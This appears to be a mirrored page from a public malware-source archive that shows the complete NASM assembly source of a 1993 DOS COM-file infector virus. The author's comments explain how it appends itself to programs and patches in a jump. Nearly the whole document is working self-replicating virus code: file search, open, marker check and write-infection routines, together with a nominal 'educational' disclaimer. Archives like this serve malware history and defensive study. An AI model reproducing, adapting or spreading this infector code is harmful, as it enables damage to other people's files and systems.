mirror of
https://github.com/vxunderground/MalwareSourceCode
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121 lines
4.4 KiB
NASM
121 lines
4.4 KiB
NASM
; The Eem-DOS 5-Voorde Virus version 2.0
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;
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; Smallest (101 bytes) COM file infector which works with te folowing
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; principe:
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;
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; Before:
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; _____________________ ____________
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; [first 3 bytes of file][rest of file]
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;
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; After:
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; ____________ ____________ _____ _____________________
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; [jmp to virus][rest of file][virus][first 3 bytes of file]
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;
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; This way the virus can restore the first 3 bytes of the file so
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; the file will still work.
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;
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; If you want no registers to change you can add some pushes, but
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; it'll make the virus much larger.....
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;
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; (C)1993 by [DàRkRàY] / TridenT
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;
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; BTW This is only a educational source, and this virus should not be
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; spread, you may publish this file in it's original form.
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; If you intend to spread this virus you will take all the responsibilities
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; on youself so the author will not get into trubble.
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; If you do not agree with this, destroy this file now.
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;
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_CODE SEGMENT
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ASSUME CS:_CODE
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ORG 100h
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LEN EQU THE_END - VX ; This bab's length
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START:
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DB 0E9h,0,0 ; Jump te virus. (carrier
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; program)
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VX:
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mov si,100H
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PUSH SI ; Put 100h in DI and save
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PUSH SI ; it as return point.
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POP DI ;
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CALL RELATIVE ;
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RELATIVE: ; Calculate where the old 3
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POP SI ; bytes are stored.
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ADD SI,(OLD_BYTES - RELATIVE) ;
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PUSH SI ; Save it for later.
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; MOV CL,3 ; Restore the first 3 bytes.
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; REP MOVSB ;
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xor cl,cl
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movsw
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movsb
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MOV DX,SI ; Set DX to file spec.
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POP SI ; Restore SI
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DEC AX ;
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AGAIN: ADD AH,4Fh ; Search for (next) file
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INT 21h ; and exit if non found.
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JC EXIT ;
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MOV DI,SI ; Put SI in DI
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MOV AH,3Eh ; Close open file. (also
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CALL OPEN ; nice anti-debug trick!)
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MOV AH,3Fh ; Read first 3 bytes.
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CALL IO ;
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CMP BYTE PTR [DI],0E9h ; Next file if first instr.
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JE AGAIN ; is a JMP FAR. (marker)
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MOV AX,4202h ;
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XOR CX,CX ; Goto EOF.
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CWD ;
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INT 21h ;
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SUB AX,3 ;
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ADD DI,8 ; Set JMP to virus.
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MOV WORD PTR DS:[DI],AX ;
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MOV AH,40h ;
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MOV CL,LEN ; Write virus and open
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MOV DX,DI ; file again.
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SUB DX,(OLD_BYTES - VX) + 8 ;
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CALL OPEN ;
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DEC DI ; Write JMP
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MOV AH,40h ;
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IO:
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MOV CL,3 ;
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MOV DX,DI ; Read or write 3 bytes.
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INT 21h ;
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EXIT:
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RET ; Start carrier program.
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OPEN:
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INT 21h ;
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MOV AX,3D02h ;
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MOV DX,9Eh ; Open file.
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INT 21h ;
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XCHG BX,AX ;
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RET
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OLD_BYTES: NOP ;
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NOP ; First 3 bytes of carrier
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RET ; program.
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FILE_NAME: DB '*.*',0h ; File to search for (all)
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NEW_BYTES DB 0E9h ; JMP to virus buffer.
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THE_END:
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_CODE ENDS
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END START
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